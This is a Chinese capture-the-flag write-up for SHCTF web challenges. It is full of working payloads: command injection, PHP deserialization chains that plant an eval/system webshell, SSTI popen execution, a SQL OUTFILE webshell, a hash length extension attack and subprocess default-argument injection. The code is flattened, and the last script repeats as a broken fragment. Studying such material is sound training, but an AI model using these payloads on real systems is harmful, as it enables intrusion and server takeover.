SHCTF-校外赛道
[WEEK1]babyRCE
1 (1)more:一页一页的显示档案内容2 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页3 (3)head:查看头几行4 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示5 (5)tail:查看尾几行6 (6)nl:显示的时候,顺便输出行号7 (7)od:以二进制的方式读取档案内容8 (8)vi:一种编辑器,这个也可以查看9 (9)vim:一种编辑器,这个也可以查看
10 (10)sort:可以查看
11 (11)uniq:可以查看
12 (12)file -f:报错出具体内容
/?rce=uniq${IFS}/fla\g
(本地资料已经保存)https://www.cnblogs.com/zzjdbk/p/13491028.html
[WEEK1]1zzphp
import requestsurl = "http://112.6.51.212:30497/?num[]=123"payload = {"c[ode":"a"*1000000+"2023SHCTF"
}
re = requests.post(url=url,data = payload)
print(re.text)
利用回溯机制来绕过preg_match
[WEEK1]ez_serialize
POC:
<?php
highlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}
}class B{public $q;public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker";}}}
class C{public $var;public $z;public function __toString(){return $this->z->var;}
}class D{public $p;public function __get($key){$function = $this->p;return $function();}
}$a = new B;
$a->q = new C;
$a->q->z = new D;
$a->q->z->p = new A;
$a->q->z->p->var_1 = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
?>
简单的绕过
[WEEK1]登录就给flag
直接弱密码爆破
得到密码为passwd,直接登陆拿到flag
[WEEK1]飞机大战
直接搜索成功的英语 success,won,win函数即可
function won(){
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0032\u004d\u006d\u005a\u006a\u004e\u006d\u004e\u006b\u004d\u0079\u0030\u0078\u004f\u0054\u006b\u0078\u004c\u0054\u0052\u0069\u004d\u007a\u0049\u0074\u004f\u0044\u0051\u0032\u004d\u0079\u0030\u0078\u004e\u0044\u004d\u0077\u004d\u0032\u0049\u0033\u004e\u0047\u0046\u006a\u004e\u0047\u004e\u0039\u000a";alert(atob(galf));
}
won();
即可得到flag
[WEEK1]ezphp
这题考点:
https://xz.aliyun.com/t/2557
/?code={${phpinfo()}}
pattern = \S*
[WEEK1]生成你的邀请函吧~
这题没什么好说的,按照他说的做就行,直接生成一个图片,图片里面有flag
[WEEK2]no_wake_up
这题绕过_wakeup_
试了试改O为C不行,属性加1不行,那就用Fastdestruction绕过
<?php
class flag{public $username;public $code;public function __wakeup(){$this->username = "guest";}public function __destruct(){if($this->username = "admin"){include($this->code);}}
}
$a = new flag();
$a->username = "admin";
$a->code = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
?>
[WEEK2]ez_ssti
基础的ssti,没有任何过滤直接构造
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
[WEEK2]EasyCMS
后台进行sql代码执行,直接往里面写shell即可
/admin/admin.php
select "<?php @eval($_POST[1]);?>" INTO OUTFILE "/var/www/html/1.php";
[WEEK2]MD5的事就拜托了
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){extract(parse_url($_POST['SHCTF']));if($$$scheme==='SHCTF'){echo(md5($flag));echo("</br>");}if(isset($_GET['length'])){$num=$_GET['length'];if($num*100!=intval($num*100)){echo(strlen($flag));echo("</br>");}}
}
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
}
第一步进行变量覆盖两种写法:
host://query?SHCTF
user://user://pass:SHCTF@SHCTF/path?query#fragment
md5的hash扩展攻击:
一般的hash扩展攻击是md5($salt.$somethong.$insert)
salt长度和something的值,然后$insert是我们可以控制的
这题就相当与我们把flag结尾插入}这个数据,但是呢我们又不插入它,因为flag借我肯定是}这个,这就相当于绕过了第一个if判断,实现了hash长度扩展攻击
然后我们直接这样传参:
POST:SHCTF=md5值
GET:length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%001
贴一手参考链接:
https://www.freebuf.com/articles/database/164019.html
[WEEK2]ez_rce
from flask import *
import subprocessapp = Flask(__name__)def gett(obj, arg):tmp = objfor i in arg:tmp = getattr(tmp, i)return tmpdef sett(obj, arg, num):tmp = objfor i in range(len(arg) - 1):tmp = getattr(tmp, arg[i])setattr(tmp, arg[i + 1], num)def hint(giveme, num, bol): # giveme expc = gett(subprocess, giveme)tmp = list(c)tmp[num] = boltmp = tuple(tmp)sett(subprocess, giveme, tmp)def cmd(arg):subprocess.call(arg)@app.route('/', methods=['GET', 'POST'])
def exec():try:if request.args.get('exec') == 'ok':shell = request.args.get('shell')cmd(shell)else:exp = list(request.get_json()['exp'])num = int(request.args.get('num'))bol = bool(request.args.get('bol'))hint(exp, num, bol)return 'ok'except:return 'error'if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)
这题subprocess.call()函数不能直接执行shell需要改变其配置才行
分析一手gett函数,可以通过json数据获取属性的值
def gett(obj, arg):tmp = objfor i in arg:tmp = getattr(tmp, i)return tmp
这就相当于:
gettatter(a,b)
返回的是a.b
gettatter(a,__init__)
a.__init__
所有我们通过这个函数来改变subprocess.call(arg)的默认参数的值,从而达到命令注入
def hint(giveme, num, bol): # giveme expc = gett(subprocess, giveme)tmp = list(c) # 列出返回的对象字典tmp[num] = boltmp = tuple(tmp)sett(subprocess, giveme, tmp)
第一步通过gett函数获取属性值,通过num参数控制改变第几个值,通过sett函数来改变值
相当于:
setattr(a,b,c)
a.b=c
setattr(a,__class__,c)
a.__class__=c
改了之后就可以进行命令注入
POST http://112.6.51.212:31043/?num=7&bol=1 HTTP/1.1
Host: 112.6.51.212:31043
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTY5NzU5NDc0N3xEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBWUFCRlZ6WlhJPXz4W-nn0Sc00zhyIGsAhqbD7I5pbyyFN_JSVEOQG8nyXg==; session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5OTQyMTIwNS44NTAzMjd9.ZUscFQ.DysBs-Ln-rDpiadDxBcl6yiok_s
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 43{"exp":["Popen","__init__","__defaults__"]}
GET http://112.6.51.212:31043/?exec=ok&shell=mkdir+static;cat+/flag>./static/a.txt HTTP/1.1
Host: 112.6.51.212:31043
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTY5NzU5NDc0N3xEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBWUFCRlZ6WlhJPXz4W-nn0Sc00zhyIGsAhqbD7I5pbyyFN_JSVEOQG8nyXg==; session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5OTQyMTIwNS44NTAzMjd9.ZUscFQ.DysBs-Ln-rDpiadDxBcl6yiok_s
Upgrade-Insecure-Requests: 1
GET http://112.6.51.212:31043/static/a.txt HTTP/1.1
Host: 112.6.51.212:31043
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTY5NzU5NDc0N3xEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBWUFCRlZ6WlhJPXz4W-nn0Sc00zhyIGsAhqbD7I5pbyyFN_JSVEOQG8nyXg==; session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5OTQyMTIwNS44NTAzMjd9.ZUscFQ.DysBs-Ln-rDpiadDxBcl6yiok_s
Upgrade-Insecure-Requests: 1
得到flag
[WEEK3]gogogo
这题源码:
package routeimport ("github.com/gin-gonic/gin""github.com/gorilla/sessions""main/readfile""net/http""os""regexp"
)var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == nil {session.Values["name"] = "User"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, User. How to become admin?")}func Readflag(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == "admin" {c.String(200, "Congratulation! You are admin,But how to get flag?\n")path := c.Query("filename")reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)if reg.MatchString(path) {http.Error(c.Writer, "nonono", http.StatusInternalServerError)return}var data []byteif path != "" {data = readfile.ReadFile(path)} else {data = []byte("请传入参数")}c.JSON(200, gin.H{"success": "read: " + string(data),})} else {c.String(200, "Hello, User. How to become admin?")}}
看了这个主要源码,发现根本没有路由可以传参数给我们打,扫描目录也没有结果,session也不知是啥,直接运行项目试试
运行本地项目发现session值和远端一样,直接在本地进修改代码然后用它的session
func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}session.Values["name"] = "admin"err = session.Save(c.Request, c.Writer)if session.Values["name"] != "admin" {c.String(200, "nonono")}if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}c.String(200, "Hello, User. How to become admin?")}
得到session:
session-name=MTY5OTI2MDg1NnxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXznL_MllaiKrLJ7cqSi-_vqD3G1IZ2rSXDHHIrHFKKWNw==
然后传入filename参数读取文件即可
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
这个正则没过滤a和?,一眼丁真
/readflag?filename=/??a?
flag{3a5y_c0me_E45Y_6oOo_714874830a4d}
[WEEK3]sseerriiaalliizzee
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?>
no way, fuck off
exit死亡绕过,就base64解码一下这个文件即可,用php伪协议来绕过
tostring是通过echo触发,直接打
pop链:
<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}
$a = new start;
$a->barking = new CTF;
$a->barking->part1 = "php://filter/convert.base64-decode/resource=5.php";
$a->barking->part2 = "aaPD89IHN5c3RlbSgkX0dFVFsnMSddKTsgPz4=";
echo serialize($a);?>
[WEEK3]快问快答
直接上一手官方脚本:
import requests
import re
import timesession = requests.Session()
url = 'http://112.6.51.212:30459/'
for i in range(50):# try:response = session.get(url,verify=False)x = response.text# 定义正则表达式模式pattern = r'<h3>(.*?)</h3>'# 使用 re 模块的 findall 方法匹配所有符合模式的字符串result = re.findall(pattern, x)[0].split('=')print(result)answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))print(answer)data = {'answer': str(answer),}time.sleep(1)x2 = session.post(url,data=data)# print(x2.text)print(re.findall(r'<p>(.*?)</p>', x2.text))print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
print(x2.text)
写的不好的脚本:
esponse.text
# 定义正则表达式模式
pattern = r'<h3>(.*?)</h3>'# 使用 re 模块的 findall 方法匹配所有符合模式的字符串
result = re.findall(pattern, x)[0].split('=')
print(result)
answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
print(answer)
data = {'answer': str(answer),}
time.sleep(1)
x2 = session.post(url,data=data)
# print(x2.text)
print(re.findall(r'<p>(.*?)</p>', x2.text))
print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
print(x2.text)
写的不好的脚本: